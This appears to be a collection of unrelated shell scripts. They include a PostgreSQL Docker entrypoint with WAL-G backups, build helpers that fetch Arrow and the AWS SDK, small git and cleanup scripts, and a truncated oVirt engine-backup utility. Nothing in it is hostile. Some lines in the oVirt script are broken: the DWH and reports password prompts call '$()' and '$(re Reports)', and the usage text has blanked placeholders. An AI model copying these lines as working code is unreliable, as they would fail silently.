chef-automate airgap bundle create \\\n --manifest \"${test_manifest_path}\" \\\n --hartifacts \"${test_hartifacts_path}\" \\\n --override-origin \"$HAB_ORIGIN\" \\\n bundle.aib\n\n sync_a1_migration_data\n\n # Installation of the artifact should create /hab\n rm -rf /hab\n}\n\ndo_deploy() {\n #shellcheck disable=SC2154\n chef-automate migrate-from-v1 \"$test_config_path\" \\\n --airgap-bundle bundle.aib \\\n --admin-password \\\n --skip-preflight \\\n --self-test \\\n --debug \\\n --yes\n}"} {"text": "alt.p8-postgresql/12/root/docker-cmd.sh\n#!/bin/sh\n\nfunction walg_conf_json() {\nifs=$IFS\njson='{'\nn=0\nfor name in $WALG_VARS\ndo\n if [ $n -gt 0 ]\n then\n sep=\",\\n\\t\"\n else\n sep=\"\\n\\t\"\n fi\n eval value=\\${$name}\n# re='^[0-9]+$'\n# if [[ $value =~ $re ]] ; then\n# #echo \"$value is number\"\n# json=\"$json$sep\\\"$name\\\":$value\"\n# else\n json=\"$json$sep\\\"$name\\\":\\\"$value\\\"\"\n# fi\n# echo $var=$value\n let n=$n+1\ndone\njson=\"$json\\n}\\n\"\necho $json\n}\n\nset -x\n\nif [ -z \"$POSTGRES_logging_collector\" ]; then POSTGRES_logging_collector=on; fi\nif [ -z \"$POSTGRES_log_directory\" ]; then POSTGRES_log_directory=pg_log; fi\nif [ -z \"$POSTGRES_log_filename\" ]; then POSTGRES_log_filename=\\'postgresql-%u_%H.log\\'; fi\nif [ -z \"$POSTGRES_log_rotation_age\" ]; then POSTGRES_log_rotation_age=1h ;fi\nif [ -z \"$POSTGRES_log_rotation_size\" ]; then POSTGRES_log_rotation_size=0; fi\n\nfor confVar in `echo ${!POSTGRES*}`\ndo\n confValue=${!confVar}\n key=${confVar:9}\n if [ \"$confValue\" ]\n then\n sedExp=\"$sedExp -e s|#$key.*=.*|$key.*=.*| -e s|^$key.*=.*|$key=$confValue|\"\n fi\ndone\n#echo \"$sedExp\"\nErrFile=/tmp/sed.log\nConfFile=/var/lib/pgsql/data/postgresql.conf\nTmpConfFile=/tmp/postgresql.conf\nsed $sedExp <$ConfFile >$TmpConfFile 2>$ErrFile;\n\nif [ -s $ErrFile ]\nthen\n cat $ErrFile\nelse\n mv $TmpConfFile $ConfFile\nfi\n\nPOSTGRES_PARAMS=''\nif [ -n \"$BACKUP_RESTORE\" ]\nthen\n BACKUP_RESTORE_FILE=\"/var/lib/pgsql/data/BACKUP_RESTORE\"\n OLD_BACKUP_RESTORE=\n if [ -f $BACKUP_RESTORE_FILE ]\n then\n read OLD_BACKUP_RESTORE < $BACKUP_RESTORE_FILE\n fi\n if [ -n \"$RESTORE_HOST\" -a -n \"$RESTORE_PASSWORD\" -a \"$BACKUP_RESTORE\" != \"$OLD_BACKUP_RESTORE\" ]\n then\n if [ -z \"$RESTORE_PORT\" ]\n then\n export RESTORE_PORT=5432\n fi\n if [ -z \"$RESTORE_USER\" ]\n then\n export RESTORE_USER='postgres'\n fi\n /bin/dumpRestoreAll.sh\n echo $BACKUP_RESTORE > $BACKUP_RESTORE_FILE\n else\n if [ \"$BACKUP_RESTORE\" == \"$OLD_BACKUP_RESTORE\" ]\n then\n echo \"Режим бекапа BACKUP_RESTORE Повторный запуск сервиса с идентификатором $BACKUP_RESTORE. Бекап не производится\"\n fi\n if [ -z \"$RESTORE_HOST\" ]\n then\n echo \"Режим бекапа BACKUP_RESTORE Переменная RESTORE_HOST не определена. Бекап не производится\"\n fi\n if [ -z \"$RESTORE_PASSWORD\" ]\n then\n echo \"Режим бекапа BACKUP_RESTORE: Переменная RESTORE_PASSWORD не определена. Бекап не производится\"\n fi\n fi\nfi\n\nif [ -n \"$BACKUP_WALG\" ]\nthen\n BACKUP_WALG_FILE=\"/var/lib/pgsql/data/BACKUP_WALG\"\n OLD_BACKUP_WALG=\n if [ -f $BACKUP_WALG_FILE ]\n then\n read OLD_BACKUP_WALG < $BACKUP_WALG_FILE\n fi\n if [ \"$BACKUP_WALG\" != \"$OLD_BACKUP_WALG\" ]\n then\n if [ -n \"$WALG\" -a -f \"/etc/wal-g.d/server-$WALG.conf\" ]\n then\n /bin/walgRestoreAll.sh\n else\n echo \"Режим WALG=$WALG не поддержмивается\"\n fi\n else\n if [ \"$BACKUP_WALG\" == \"$OLD_BACKUP_WALG\" ]\n then\n echo \"Режим бекапа BACKUP_WALG. Повторный запуск сервиса с идентификатором $BACKUP_WALG. Бекап не производится\"\n fi\n fi\nfi\n\nif [ -n \"$WALG\" -a -f \"/etc/wal-g.d/server-$WALG.conf\" ] # Включить режим архивирования WAL-G\nthen\n WALG_CONFFILE=~postgres/.walg.json\n . /etc/wal-g.d/server.conf\n . /etc/wal-g.d/server-$WALG.conf\n conf=`walg_conf_json`\n echo -ne $conf > $WALG_CONFFILE\n chown postgres:postgres /bin/wal-g\n if [ -n \"$WALG_FILE_PREFIX\" ]\n then\n mkdir -p $WALG_FILE_PREFIX\n chown postgres:postgres $WALG_FILE_PREFIX\n chmod 777 $WALG_FILE_PREFIX\n ls -ld $WALG_FILE_PREFIX\n fi\n if [ -z \"$WALG_PUSH_TIMEOUT\" ]\n then\n WALG_PUSH_TIMEOUT=300\n fi\n while :;\n do\n su -s /bin/backup-push.sh postgres;\n su -s /bin/backup-delete.sh postgres;\n sleep $WALG_PUSH_TIMEOUT\n done &\n\n POSTGRES_PARAMS=\"-c archive_mode=on -c wal_level=replica -c archive_timeout=60 -c archive_command='/bin/wal-push.sh %p'\"\n# POSTGRES_PARAMS=\"-c archive_mode=on -c wal_level=replica -c archive_timeout=60 -c archive_command='/bin/wal-push.sh %p'\"\nfi\n\nexec su -c \"/usr/bin/postgres -D /var/lib/pgsql/data $POSTGRES_PARAMS\" -s /bin/sh postgres"} {"text": "#!/usr/bin/env zsh\n\n# WORKDIR: ../ (project root)\n# ZDOTDIR: ../scripts/ (current dir)\n# HISTFILE: ../tests/history.txt (set in `.zlogin`)\n\n# pre-record\nln -fs ~/.zshrc ./scripts/.zshrc\n\n# asciinema & control record\nstty rows 25 columns 72\nclear\nasciinema rec \\\n --overwrite ./images/zsh-record.cast \\\n -c './scripts/control-record.zsh'\n\n# post-record\nrm -rf ./scripts/.zshrc ./scripts/.zsh_history ./scripts/.zcompdump-*"} {"text": "#!/bin/bash\nrm -Rf codec-trunk\nrm -Rf rl-glue-trunk\nrm -Rf install_root"} {"text": "#!/bin/bash\n\n# clone用のGitをcloneしてcommit用のGitリポジトリを作成する\ngit clone result updated-result\n\ncd updated-result/\n# 前Taskの\b出力結果をGitのcommit用のGit作業ディレクトリに移動する\nmv -f ../out/* ./\n\ngit config --global user.email \"\"\ngit config --global user.name \"takuma02141978\"\n\ngit add -A\ngit commit -m \"Update result log\""} {"text": "fenggeorgeyu/mapd-corescripts/common-functions.sh\n#!/bin/bash\n\nfunction download() {\n wget --continue \"$1\"\n}\n\nfunction extract() {\n tar xvf \"$1\"\n}\n\nfunction makej() {\n make -j $(nproc)\n}\n\nfunction download_make_install() {\n name=\"$(basename $1)\"\n download \"$1\"\n extract $name\n if [ -z \"$2\" ]; then\n pushd ${name%%.tar*}\n else\n pushd $2\n fi\n\n if [ -x ./Configure ]; then\n ./Configure --prefix=$PREFIX $3\n else\n ./configure --prefix=$PREFIX $3\n fi\n makej\n make install\n popd\n}\n\nARROW_VERSION=apache-arrow-0.10.0\n\nfunction install_arrow() {\n download https://github.com/apache/arrow/archive/$ARROW_VERSION.tar.gz\n extract $ARROW_VERSION.tar.gz\n mkdir -p arrow-$ARROW_VERSION/cpp/build\n pushd arrow-$ARROW_VERSION/cpp/build\n cmake \\\n -DCMAKE_BUILD_TYPE=Release \\\n -DARROW_BUILD_SHARED=ON \\\n -DARROW_BUILD_STATIC=ON \\\n -DARROW_BUILD_TESTS=OFF \\\n -DARROW_BUILD_BENCHMARKS=OFF \\\n -DARROW_WITH_BROTLI=OFF \\\n -DARROW_WITH_ZLIB=OFF \\\n -DARROW_WITH_LZ4=OFF \\\n -DARROW_WITH_SNAPPY=OFF \\\n -DARROW_WITH_ZSTD=OFF \\\n -DCMAKE_INSTALL_PREFIX=$PREFIX \\\n -DARROW_BOOST_USE_SHARED=${ARROW_BOOST_USE_SHARED:=\"OFF\"} \\\n ..\n make -j $(nproc)\n make install\n popd\n\n}\n\nAWSCPP_VERSION=1.4.76\n\nfunction install_awscpp() {\n # default c++ standard support\n CPP_STANDARD=14\n # check c++17 support\n GNU_VERSION1=`g++ --version|head -n1|awk '{print $4}'|cut -d'.' -f1`\n if [ \"$GNU_VERSION1\" = \"7\" ]; then\n CPP_STANDARD=17\n fi\n rm -rf aws-sdk-cpp-${AWSCPP_VERSION}\n download https://github.com/aws/aws-sdk-cpp/archive/${AWSCPP_VERSION}.tar.gz\n tar xvfz ${AWSCPP_VERSION}.tar.gz\n pushd aws-sdk-cpp-${AWSCPP_VERSION}\n patch -p1 < ${SCRIPTS_DIR}/aws-sdk-cpp-remove-git-version.patch\n mkdir build\n cd build\n cmake \\\n -DCMAKE_BUILD_TYPE=Release \\\n -DCMAKE_INSTALL_PREFIX=$PREFIX \\\n -DBUILD_ONLY=\"s3\" \\\n -DBUILD_SHARED_LIBS=0 \\\n -DCUSTOM_MEMORY_MANAGEMENT=0 \\\n -DCPP_STANDARD=$CPP_STANDARD \\\n ..\n make $*\n\n # sudo is needed on osx\n os=`uname`\n if [ \"$os\" = \"Darwin\" ]; then\n sudo make install\n else\n make install\n fi\n\n popd\n}"} {"text": "#!/bin/sh\n\n################################################################################\n#\n# Ignore netlify PR builds for dependabot\n#\n################################################################################\n\ngit log -1 --pretty=%B | grep dependabot"} {"text": "dot.sh\ndot -Tsvg dependency.dot > dependency.svg"} {"text": "#!/bin/sh\n#\n# ovirt-engine-backup - oVirt engine backup and restore utility\n# Copyright (C) 2013-2015 Red Hat, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#\t http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n# Clean the environment, see bz 1172191\n[ -z \"${BACKUP_ENV_CLEAN}\" ] && exec -c env -i PATH=\"${PATH}\" BACKUP_ENV_CLEAN=1 \"$0\" \"$@\"\n\n# Load the prolog:\n. \"$(dirname \"$(readlink -f \"$0\")\")\"/engine-prolog.sh\n\nmy_load_config() {\n\tload_config\n\n\tDWH_CONFIG=/etc/ovirt-engine-dwh/ovirt-engine-dwhd.conf\n\tfor f in \"${DWH_CONFIG}\" \"${DWH_CONFIG}\".d/*.conf; do\n\t\t[ -e \"${f}\" ] && . \"${f}\"\n\tdone\n\n\tJASPER_PROPERTIES=/var/lib/ovirt-engine-reports/build-conf/master.properties\n\tif [ -e \"${JASPER_PROPERTIES}\" ]; then\n\t\tload_jasper_reports_db_creds\n\telse\n\t\tJASPER_PROPERTIES=\n\tfi\n}\n\nget_jasper_db_cred() {\n\tpython -c \"\n\n# Copied from otopi:src/otopi/__init__.py\nimport sys\n\ndef _pythonModulesCompat():\n \\\"\\\"\\\"Rename modules to match python3 names.\\\"\\\"\\\"\n if sys.version_info[0] < 3:\n import ConfigParser\n sys.modules['configparser'] = ConfigParser\n\n_pythonModulesCompat()\n\nimport configparser\nimport io\nimport os\n\nparams = sys.argv\n\nconfig = configparser.ConfigParser()\n\ndef escape(s, chars):\n ret = ''\n for c in s:\n if c in chars:\n ret += '\\\\\\\\'\n ret += c\n return ret\n\nconfig.optionxform = str\n\nwith open('${JASPER_PROPERTIES}') as f:\n config.readfp(\n io.StringIO(\n '[default]' + f.read().decode('utf-8')\n )\n )\n\nfor i in range(1, len(params)-1, 2):\n s = params[i]\n t = params[i+1]\n v = config.get('default', t)\n print ('%s=\\\"%s\\\"' % (s, escape(v, '\\\"\\\\\\\\\\$')))\n\" \"$@\"\n}\n\nload_jasper_reports_db_creds() {\n\teval $(get_jasper_db_cred \\\n\t\tREPORTS_DB_HOST dbHost \\\n\t\tREPORTS_DB_PORT dbPort \\\n\t\tREPORTS_DB_USER dbUsername \\\n\t\tREPORTS_DB_PASSWORD dbPassword \\\n\t\tREPORTS_DB_DATABASE js.dbName\n\t)\n}\n\n# Globals\nBACKUP_PATHS=\"/etc/ovirt-engine\n/etc/ovirt-engine-dwh\n/etc/ovirt-engine-reports\n/etc/pki/ovirt-engine\n/etc/ovirt-engine-setup.conf.d\n/var/lib/ovirt-engine-reports/build-conf\n/var/lib/ovirt-engine-reports/ovirt-engine-reports.war/WEB-INF/js.quartz.properties\n#/var/lib/ovirt-engine-reports\n/etc/httpd/conf.d/ovirt-engine-root-redirect.conf\n/etc/httpd/conf.d/ssl.conf\n/etc/httpd/conf.d/z-ovirt-engine-proxy.conf\n/etc/httpd/conf.d/z-ovirt-engine-reports-proxy.conf\n/etc/yum/pluginconf.d/versionlock.list\n/etc/firewalld/services/ovirt-https.xml\n/etc/firewalld/services/ovirt-http.xml\n/etc/firewalld/services/ovirt-postgres.xml\"\n# Add /var/lib/ovirt-engine except a few\nVAR_LIB_EXCLUSIONS=\"/var/lib/ovirt-engine/backups\n/var/lib/ovirt-engine/jboss_runtime\"\nfor p in /var/lib/ovirt-engine/*; do\n\techo \"${VAR_LIB_EXCLUSIONS}\" | grep -q \"^${p}\\$\" || BACKUP_PATHS=\"${BACKUP_PATHS}\n${p}\"\ndone\n\nMYPGPASS=\"\"\nTEMP_FOLDER=\"\"\nFILE=\"\"\nDB_BACKUP_FILE_NAME=\"engine_backup.db\"\nDWHDB_BACKUP_FILE_NAME=\"dwh_backup.db\"\nREPORTSDB_BACKUP_FILE_NAME=\"reports_backup.db\"\n\ncleanup() {\n\t[ -n \"${TEMP_FOLDER}\" ] && rm -rf \"${TEMP_FOLDER}\"\n}\n\ntrap cleanup 0\n\nusage() {\n\tcat << __EOF__\nengine-backup: backup and restore ovirt-engine environment\nUSAGE:\n $0 [--mode=MODE] [--scope=SCOPE] [--file=FILE] [--log=FILE]\n MODE is one of the following:\n backup backup system into FILE\n restore restore system from FILE\n SCOPE is one of the following:\n all complete backup/restore (default)\n files files only\n db engine database only\n dwhdb dwh database only\n reportsdb reports database only\n --file=FILE file to use during backup or restore\n --log=FILE log file to use\n --change-db-credentials activate the following options, to restore\n the Engine database to a different location\n\t\t\t\t etc. If used, existing credentials are ignored.\n --db-host=host set database host\n --db-port=port set database port\n --db-user=user set database user\n --db-passfile=file set database password - read from file\n --db-password=pass set database password\n --db-password set database password - interactively\n --db-name=name set database name\n --db-secured set a secured connection\n --db-secured-validation validate host\n --change-dwh-db-credentials activate the following options, to restore\n the DWH database to a different location etc.\n If used, existing credentials are ignored.\n --dwh-db-host=host set dwh database host\n --dwh-db-port=port set dwh database port\n --dwh-db-user=user set dwh database user\n --dwh-db-passfile=file set dwh database password - read from file\n --dwh-db-password=pass set dwh database password\n --dwh-db-password set dwh database password - interactively\n --dwh-db-name=name set dwh database name\n --dwh-db-secured set a secured connection for dwh\n --dwh-db-secured-validation validate host for dwh\n --change-reports-db-credentials activate the following options, to restore\n the Reports database to a different location\n\t\t\t\t etc. If used, existing credentials are ignored.\n --reports-db-host=host set reports database host\n --reports-db-port=port set reports database port\n --reports-db-user=user set reports database user\n --reports-db-passfile=file set reports database password - read from file\n --reports-db-password=pass set reports database password\n --reports-db-password set reports database password - interactively\n --reports-db-name=name set reports database name\n --reports-db-secured set a secured connection for reports\n --reports-db-secured-validation validate host for reports\n\n ENVIRONMENT VARIABLES\n\n OVIRT_ENGINE_DATABASE_PASSWORD\n Database password as if provided by --db-password=pass option.\n OVIRT_DWH_DATABASE_PASSWORD\n Database password as if provided by --dwh-db-password=pass option.\n OVIRT_REPORTS_DATABASE_PASSWORD\n Database password as if provided by --reports-db-password=pass option.\n\n Wiki\n\n See http://www.ovirt.org/Ovirt-engine-backup for more info.\n\n To create a new user/database:\n\n create role with login encrypted password '';\n create database owner template template0\n encoding 'UTF8' lc_collate 'en_US.UTF-8' lc_ctype 'en_US.UTF-8';\n\n Open access in the firewall/iptables/etc. to the postgresql port,\n 5432/tcp by default.\n\n Locate pg_hba.conf within your distribution,\n common locations are:\n - /var/lib/pgsql/data/pg_hba.conf\n - /etc/postgresql-*/pg_hba.conf\n - /etc/postgresql/*/main/pg_hba.conf\n\n and open access there by adding the following lines:\n\n host 0.0.0.0/0 md5\n host ::0/0 md5\n\n Replace , , with appropriate values.\n Repeat for engine, dwh, reports as required.\n\n__EOF__\n\treturn 0\n}\n\nMODE=\nSCOPE=all\nSCOPE_FILES=\nSCOPE_ENGINE_DB=\nSCOPE_DWH_DB=\nSCOPE_REPORTS_DB=\nCHANGE_DB_CREDENTIALS=\nMY_DB_HOST=\nMY_DB_PORT=5432\nMY_DB_USER=\nORIG_DB_USER=\nMY_DB_PASSWORD=\"${OVIRT_ENGINE_DATABASE_PASSWORD}\"\nMY_DB_DATABASE=\nMY_DB_SECURED=False\nMY_DB_SECURED_VALIDATION=False\nMY_DB_CREDS=\nCHANGE_DWH_DB_CREDENTIALS=\nMY_DWH_DB_HOST=\nMY_DWH_DB_PORT=5432\nMY_DWH_DB_USER=\nORIG_DWH_DB_USER=\nMY_DWH_DB_PASSWORD=\"${OVIRT_DWH_DATABASE_PASSWORD}\"\nMY_DWH_DB_DATABASE=\nMY_DWH_DB_SECURED=False\nMY_DWH_DB_SECURED_VALIDATION=False\nMY_DWH_DB_CREDS=\nCHANGE_REPORTS_DB_CREDENTIALS=\nMY_REPORTS_DB_HOST=\nMY_REPORTS_DB_PORT=5432\nMY_REPORTS_DB_USER=\nORIG_REPORTS_DB_USER=\nMY_REPORTS_DB_PASSWORD=\"${OVIRT_REPORTS_DATABASE_PASSWORD}\"\nMY_REPORTS_DB_DATABASE=\nMY_REPORTS_DB_SECURED=False\nMY_REPORTS_DB_SECURED_VALIDATION=False\nMY_REPORTS_DB_CREDS=\n\nparseArgs() {\n\tlocal DB_PASSFILE\n\n\twhile [ -n \"$1\" ]; do\n\t\tlocal x=\"$1\"\n\t\tlocal v=\"${x#*=}\"\n\t\tshift\n\t\tcase \"${x}\" in\n\t\t\t--mode=*)\n\t\t\t\tMODE=\"${v}\"\n\t\t\t\tcase \"${MODE}\" in\n\t\t\t\t\tbackup|restore);;\n\t\t\t\t\t*) die \"invalid mode\" ;;\n\t\t\t\tesac\n\t\t\t;;\n\t\t\t--scope=*)\n\t\t\t\tSCOPE=\"${v}\"\n\t\t\t\tcase \"${SCOPE}\" in\n\t\t\t\t\tall|files|db|dwhdb|reportsdb) ;;\n\t\t\t\t\t*) die \"invalid scope '${SCOPE}'\"\n\t\t\t\tesac\n\t\t\t;;\n\t\t\t--file=*)\n\t\t\t\tFILE=\"${v}\"\n\t\t\t;;\n\t\t\t--log=*)\n\t\t\t\tLOG=\"${v}\"\n\t\t\t;;\n\t\t\t--change-db-credentials)\n\t\t\t\tCHANGE_DB_CREDENTIALS=1\n\t\t\t;;\n\t\t\t--db-host=*)\n\t\t\t\tMY_DB_HOST=\"${v}\"\n\t\t\t;;\n\t\t\t--db-port=*)\n\t\t\t\tMY_DB_PORT=\"${v}\"\n\t\t\t;;\n\t\t\t--db-user=*)\n\t\t\t\tMY_DB_USER=\"${v}\"\n\t\t\t\tORIG_DB_USER=\"${ENGINE_DB_USER}\"\n\t\t\t;;\n\t\t\t--db-passfile=*)\n\t\t\t\tDB_PASSFILE=\"${v}\"\n\t\t\t\t[ -r \"${DB_PASSFILE}\" ] || \\\n\t\t\t\t\tdie \"Can not read password file ${DB_PASSFILE}\"\n\t\t\t\tread -r MY_DB_PASSWORD < \"${DB_PASSFILE}\"\n\t\t\t;;\n\t\t\t--db-password=*)\n\t\t\t\tMY_DB_PASSWORD=\"${v}\"\n\t\t\t;;\n\t\t\t--db-password)\n\t\t\t\tMY_DB_PASSWORD=\"$(readdbpassword Engine)\" || exit 1\n\t\t\t;;\n\t\t\t--db-name=*)\n\t\t\t\tMY_DB_DATABASE=\"${v}\"\n\t\t\t;;\n\t\t\t--db-secured)\n\t\t\t\tMY_DB_SECURED=\"True\"\n\t\t\t;;\n\t\t\t--db-sec-validation)\n\t\t\t\tMY_DB_SECURED_VALIDATION=\"True\"\n\t\t\t;;\n\t\t\t--change-dwh-db-credentials)\n\t\t\t\tCHANGE_DWH_DB_CREDENTIALS=1\n\t\t\t;;\n\t\t\t--dwh-db-host=*)\n\t\t\t\tMY_DWH_DB_HOST=\"${v}\"\n\t\t\t;;\n\t\t\t--dwh-db-port=*)\n\t\t\t\tMY_DWH_DB_PORT=\"${v}\"\n\t\t\t;;\n\t\t\t--dwh-db-user=*)\n\t\t\t\tMY_DWH_DB_USER=\"${v}\"\n\t\t\t\tORIG_DWH_DB_USER=\"${DWH_DB_USER}\"\n\t\t\t;;\n\t\t\t--dwh-db-passfile=*)\n\t\t\t\tDB_PASSFILE=\"${v}\"\n\t\t\t\t[ -r \"${DB_PASSFILE}\" ] || \\\n\t\t\t\t\tdie \"Can not read password file ${DB_PASSFILE}\"\n\t\t\t\tread -r MY_DWH_DB_PASSWORD < \"${DB_PASSFILE}\"\n\t\t\t;;\n\t\t\t--dwh-db-password=*)\n\t\t\t\tMY_DWH_DB_PASSWORD=\"${v}\"\n\t\t\t;;\n\t\t\t--dwh-db-password)\n\t\t\t\tMY_DWH_DB_PASSWORD=\"$()\" || exit 1\n\t\t\t;;\n\t\t\t--dwh-db-name=*)\n\t\t\t\tMY_DWH_DB_DATABASE=\"${v}\"\n\t\t\t;;\n\t\t\t--dwh-db-secured)\n\t\t\t\tMY_DWH_DB_SECURED=\"True\"\n\t\t\t;;\n\t\t\t--dwh-db-sec-validation)\n\t\t\t\tMY_DWH_DB_SECURED_VALIDATION=\"True\"\n\t\t\t;;\n\t\t\t--change-reports-db-credentials)\n\t\t\t\tCHANGE_REPORTS_DB_CREDENTIALS=1\n\t\t\t;;\n\t\t\t--reports-db-host=*)\n\t\t\t\tMY_REPORTS_DB_HOST=\"${v}\"\n\t\t\t;;\n\t\t\t--reports-db-port=*)\n\t\t\t\tMY_REPORTS_DB_PORT=\"${v}\"\n\t\t\t;;\n\t\t\t--reports-db-user=*)\n\t\t\t\tMY_REPORTS_DB_USER=\"${v}\"\n\t\t\t\tORIG_REPORTS_DB_USER=\"${REPORTS_DB_USER}\"\n\t\t\t;;\n\t\t\t--reports-db-passfile=*)\n\t\t\t\tDB_PASSFILE=\"${v}\"\n\t\t\t\t[ -r \"${DB_PASSFILE}\" ] || \\\n\t\t\t\t\tdie \"Can not read password file ${DB_PASSFILE}\"\n\t\t\t\tread -r MY_REPORTS_DB_PASSWORD < \"${DB_PASSFILE}\"\n\t\t\t;;\n\t\t\t--reports-db-password=*)\n\t\t\t\tMY_REPORTS_DB_PASSWORD=\"${v}\"\n\t\t\t;;\n\t\t\t--reports-db-password)\n\t\t\t\tMY_REPORTS_DB_PASSWORD=\"$(re Reports)\" || exit 1\n\t\t\t;;\n\t\t\t--reports-db-name=*)\n\t\t\t\tMY_REPORTS_DB_DATABASE=\"${v}\"\n\t\t\t;;\n\t\t\t--reports-db-secured)\n\t\t\t\tMY_REPORTS_DB_SECURED=\"True\"\n\t\t\t;;\n\t\t\t--reports-db-sec-validation)\n\t\t\t\tMY_REPORTS_DB_SECURED_VALIDATION=\"True\"\n\t\t\t;;\n\t\t\t--help)\n\t\t\t\tusage\n\t\t\t\texit 0\n\t\t\t;;\n\t\t\t*)\n\t\t\t\tusage\n\t\t\t\texit 1\n\t\t\t;;\n\t\tesac\n\tdone\n\n\tcase \"${SCOPE}\" in\n\t\tall)\n\t\t\tSCOPE_FILES=1\n\t\t\tSCOPE_ENGINE_DB=1\n\t\t\tSCOPE_DWH_DB=1\n\t\t\tSCOPE_REPORTS_DB=1\n\t\t\t;;\n\t\tfiles)\n\t\t\tSCOPE_FILES=1\n\t\t\t;;\n\t\tdb)\n\t\t\tSCOPE_ENGINE_DB=1\n\t\t\t;;\n\t\tdwhdb)\n\t\t\tSCOPE_DWH_DB=1\n\t\t\t;;\n\t\treportsdb)\n\t\t\tSCOPE_REPORTS_DB=1\n\t\t\t;;\n\t\t*) die \"invalid scope '${SCOPE}'\"\n\tesac\n}\n\nverifyArgs() {\n\t[ -n \"${MODE}\" ] || die \"--mode= is missing\"\n\t[ -n \"${FILE}\" ] || die \"--file is missing\"\n\t[ -n \"${LOG}\" ] || die \"--log is missing\"\n\tif [ \"${MODE}\" == \"restore\" ] ; then\n\t\t[ -e \"${FILE}\" ] || die \"${FILE} does not exist\"\n\tfi\n\tif [ -n \"${CHANGE_DB_CREDENTIALS}\" ]; then\n\t\t[ -n \"${MY_DB_HOST}\" ] || die \"--db-host is missing\"\n\t\t[ -n \"${MY_DB_USER}\" ] || die \"--db-user is missing\"\n\t\t[ -n \"${MY_DB_PASSWORD}\" ] || \\\n\t\t\tdie \"--db-passfile or --db-password is missing\"\n\t\t[ -n \"${MY_DB_DATABASE}\" ] || die \"--db-name is missing\"\n\tfi\n\tif [ -n \"${CHANGE_DWH_DB_CREDENTIALS}\" ]; then\n\t\t[ -n \"${MY_DWH_DB_HOST}\" ] || die \"--dwh-db-host is missing\"\n\t\t[ -n \"${MY_DWH_DB_USER}\" ] || die \"--dwh-db-user is missing\"\n\t\t[ -n \"${MY_DWH_DB_PASSWORD}\" ] || \\\n\t\t\tdie \"--dwh-db-passfile or --dwh-db-password is missing\"\n\t\t[ -n \"${MY_DWH_DB_DATABASE}\" ] || die \"--dwh-db-name is missing\"\n\tfi\n\tif [ -n \"${CHANGE_REPORTS_DB_CREDENTIALS}\" ]; then\n\t\t[ -n \"${MY_REPORTS_DB_HOST}\" ] || die \"--reports-db-host is missing\"\n\t\t[ -n \"${MY_REPORTS_DB_USER}\" ] || die \"--reports-db-user is missing\"\n\t\t[ -n \"${MY_REPORTS_DB_PASSWORD}\" ] || \\\n\t\t\tdie \"--reports-db-passfile or --reports-db-password is missing\"\n\t\t[ -n \"${MY_REPORTS_DB_DATABASE}\" ] || die \"--reports-db-name is missing\"\n\tfi\n}\n\ndobackup() {\n\toutput \"Backing up:\"\n\tlog \"Generating pgpass\"\n\tgeneratePgPass\n\n\t# Create temporary folder\n\tlocal tardir=\"${TEMP_FOLDER}/tar\"\n\tlog \"Creating temp folder ${tardir}\"\n\tmkdir \"${tardir}\" || logdie \"Cannot create '${tardir}'\"\n\tmkdir \"${tardir}/files\" || logdie \"Cannot create '${tardir}/files\"\n\tmkdir \"${tardir}/db\" || logdie \"Cannot create '${tardir}/db'\"\n\n\tif [ -n \"${SCOPE_FILES}\" ] ; then\n\t\toutput \"- Files\"\n\t\tlog \"Backing up files to ${tardir}/files\"\n\t\tbackupFiles \"${BACKUP_PATHS}\" \"${tardir}/files\"\n\tfi\n\n\tif [ -n \"${SCOPE_ENGINE_DB}\" -a -n \"${ENGINE_DB_USER}\" ]; then\n\t\toutput \"- Engine database '\"${ENGINE_DB_DATABASE}\"'\"\n\t\tlog \"Backing up database to ${tardir}/db/${DB_BACKUP_FILE_NAME}\"\n\t\tbackupDB \"${tardir}/db/${DB_BACKUP_FILE_NAME}\" \"${ENGINE_DB_USER}\" \"${ENGINE_DB_HOST}\" \"${ENGINE_DB_PORT}\" \"${ENGINE_DB_DATABASE}\"\n\tfi\n\tif [ -n \"${SCOPE_DWH_DB}\" -a -n \"${DWH_DB_USER}\" ]; then\n\t\toutput \"- DWH database '\"${DWH_DB_DATABASE}\"'\"\n\t\tlog \"Backing up dwh database to ${tardir}/db/${DWHDB_BACKUP_FILE_NAME}\"\n\t\tbackupDB \"${tardir}/db/${DWHDB_BACKUP_FILE_NAME}\" \"${DWH_DB_USER}\" \"${DWH_DB_HOST}\" \"${DWH_DB_PORT}\" \"${DWH_DB_DATABASE}\"\n\tfi\n\tif [ -n \"${SCOPE_REPORTS_DB}\" -a -n \"${REPORTS_DB_USER}\" ]; then\n\t\toutput \"- Reports database '\"${REPORTS_DB_DATABASE}\"'\"\n\t\tlog \"Backing up reports database to ${tardir}/db/${REPORTSDB_BACKUP_FILE_NAME}\"\n\t\tbackupDB \"${tardir}/db/${REPORTSDB_BACKUP_FILE_NAME}\" \"${REPORTS_DB_USER}\" \"${REPORTS_DB_HOST}\" \"${REPORTS_DB_PORT}\" \"${REPORTS_DB_DATABASE}\"\n\tfi\n\techo \"${PACKAGE_VERSION}\" > \"${tardir}/version\" || logdie \"Can't create ${tardir}/version\"\n\tlog \"Creating md5sum at ${tardir}/md5sum\"\n\tcreatemd5 \"${tardir}\" \"${tardir}/md5sum\"\n\toutput \"Packing into file '${FILE}'\"\n\tlog \"Creating tarball ${FILE}\"\n\tcreatetar \"${tardir}\" \"${FILE}\"\n}\n\ncreatetar() {\n\tlocal dir=\"$1\"\n\tlocal file=\"$2\"\n\ttar -C \"${dir}\" -cpSsjf \"${file}\" . || logdie \"Cannot create '${file}'\"\n}\n\ncreatemd5() {\n\tlocal tardir=\"$1\"\n\tlocal md5file=\"$2\"\n\tfind \"${tardir}\" -type f -printf \"%P\\n\" | while read -r file; do\n\t\t( cd \"${tardir}\" && md5sum \"${file}\" ) >> \"${md5file}\" || logdie \"Cannot create checksum for '${file}'\"\n\tdone || logdie \"Find execution failed\"\n}\n\nverifymd5() {\n\tlocal tardir=\"$1\"\n\tlocal md5file=\"$2\"\n\t( cd \"${tardir}\" && md5sum -c \"${md5file}\" --status ) || logdie \"Checksum verification failed\"\n}\n\nbackupFiles() {\n\tlocal paths=\"$1\"\n\tlocal target=\"$2\"\n\techo \"${paths}\" | while read -r path; do\n\t\t[ -e \"${path}\" ] || 